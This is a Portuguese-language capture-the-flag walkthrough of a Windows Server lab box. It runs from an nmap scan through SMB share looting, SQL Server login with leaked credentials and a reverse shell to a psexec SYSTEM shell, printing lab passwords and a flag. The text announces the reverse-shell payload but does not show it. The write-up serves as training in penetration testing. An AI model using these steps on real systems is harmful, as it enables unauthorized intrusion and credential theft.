# ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.27 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
# nmap -sC -sV -p$ports 10.10.10.27
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-21 07:15 EDT
Nmap scan report for 10.10.10.27
Host is up (0.14s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info:
| Target_Name: ARCHETYPE
| NetBIOS_Domain_Name: ARCHETYPE
| NetBIOS_Computer_Name: ARCHETYPE
| DNS_Domain_Name: Archetype
| DNS_Computer_Name: Archetype
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2021-09-21T11:13:09
|_Not valid after: 2051-09-21T11:13:09
|_ssl-date: 2021-09-21T11:41:45+00:00; +25m06s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 1h49m07s, deviation: 3h07m51s, median: 25m06s
| ms-sql-info:
| 10.10.10.27:1433:
| Version:
| name: Microsoft SQL Server 2017 RTM
| number: 14.00.1000.00
| Product: Microsoft SQL Server 2017
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| smb-os-discovery:
| OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
| Computer name: Archetype
| NetBIOS computer name: ARCHETYPE\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2021-09-21T04:41:38-07:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-09-21T11:41:36
|_ start_date: N/A
Temos aqui um Microsoft Windows Server 2019 Standard, chamado ARCHETYPE.
As portas 445 e 1433 estão abertas. Elas estão associadas aos servidos de cmopartilhamento de arquivos (SMB) e SQL Server, respectivamente. Vamos checar se o serviço de SMB permite acesso anônimo. Eventualmente algum arquivo de configuração sensível pode estar exposto.
Vamos usar o "smbclient" para listar compartilhamento disponíveis:
# smbclient -N -L \\\\10.10.10.27\\
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
backups Disk
C$ Disk Default share
IPC$ IPC Remote IPC
Vamos listas o conteúdo da pasta "backups" e ler o conteúdo do arquivo sensível:
# smbclient -N \\\\10.10.10.27\\backups
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Mon Jan 20 07:20:57 2020
.. D 0 Mon Jan 20 07:20:57 2020
prod.dtsConfig AR 609 Mon Jan 20 07:23:02 2020
10328063 blocks of size 4096. 8259171 blocks available
smb: \> get prod.dtsConfig
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (1.0 KiloBytes/sec) (average 1.0 KiloBytes/sec)
smb: \> quit
O arquivo prod.dtsConfig é uma conexão configurada para o SQL Server com credenciais evidentes:
Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;
Exploração
Vamos então conectar no SQL Server usando as credenciais recém descobertas:
# mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
Impacket v0.9.24.dev1+20210726.180101.1636eaab - Copyright 2021 SecureAuth Corporation
Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
Vamos checar quais privilégios este usuário possui, se a query retornar "1", quer dizer que temos privilégios de adm neste banco de dados.
SQL> SELECT IS_SRVROLEMEMBER ('sysadmin')
Vamos agora habilitar no SQL a funcionalidade que nos permite executar comandos do SO. Etapa necessária para conseguirmos uma shell remota. Basta rodar a sequência de comandos abaixo no prompt do SQL:
Repare que, ao rodar o comando "whoami" via SQL prompt, estamos na verdade interagindo com o Windows Server alvo.
Obtendo uma shell reversa:
Vamos agora criar um arquivo malicioso chamado shell.ps1 com nosso payload para obter uma shell reversa: (lembre-se de trocar o IP e porta para sua realidade).
Feito isso, ganhamos uma shell reversa no Windows Server 2019. Agora já podemos navegar até o Desktop do usuário "sql_svc" e pegar a primeira key do desafio:
# dir
Directory: C:\Users\sql_svc\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 2/25/2020 6:37 AM 32 user.txt
# type user.txt
3e7b102e78218e935bf3f4951fec21a3
Pós-exploração (escalação de privilégios)
Já conseguimos uma Shell Reversa no servidor alvo, mas sem privilégios administrativos.
É sempre interessante checar o histórico de comandos executados na máquina. Eventualmente alguma credencial administrativo pode ter sido usada para realizar alguma tarefa. Existe um arquivo chamado ConsoleHost_history.txt
# type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
Encontramos aí a senha de administrator que foi usada recentemente para mapear um compartilhamento de rede. Vamos usar as credenciais para obter acesso administrativo através do psexec.py:
# psexec.py administrator@10.10.10.27
Impacket v0.9.24.dev1+20210726.180101.1636eaab - Copyright 2021 SecureAuth Corporation
Password:
[*] Requesting shares on 10.10.10.27.....
[*] Found writable share ADMIN$
[*] Uploading file yJlfxwJZ.exe
[*] Opening SVCManager on 10.10.10.27.....
[*] Creating service hOtR on 10.10.10.27.....
[*] Starting service hOtR.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
Agora que temos privilégios administrativos, podemos obter a key principal do desafio que está no desktop do usuário administrator:
Neste laboratório, praticamente todas as credenciais estavam expostas em arquivos acessíveis pelo atacante. No mundo real nem sempre isso acontece. De toda forma, este laboratório foi válido para testarmos ferrramentas como smbclient, mssqlclient.py e psexec.py